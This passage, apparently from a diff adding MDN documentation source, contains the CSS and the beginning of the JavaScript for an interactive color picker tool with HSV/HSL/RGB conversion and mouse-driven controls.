+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch &gt; * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property &gt; * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+	float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
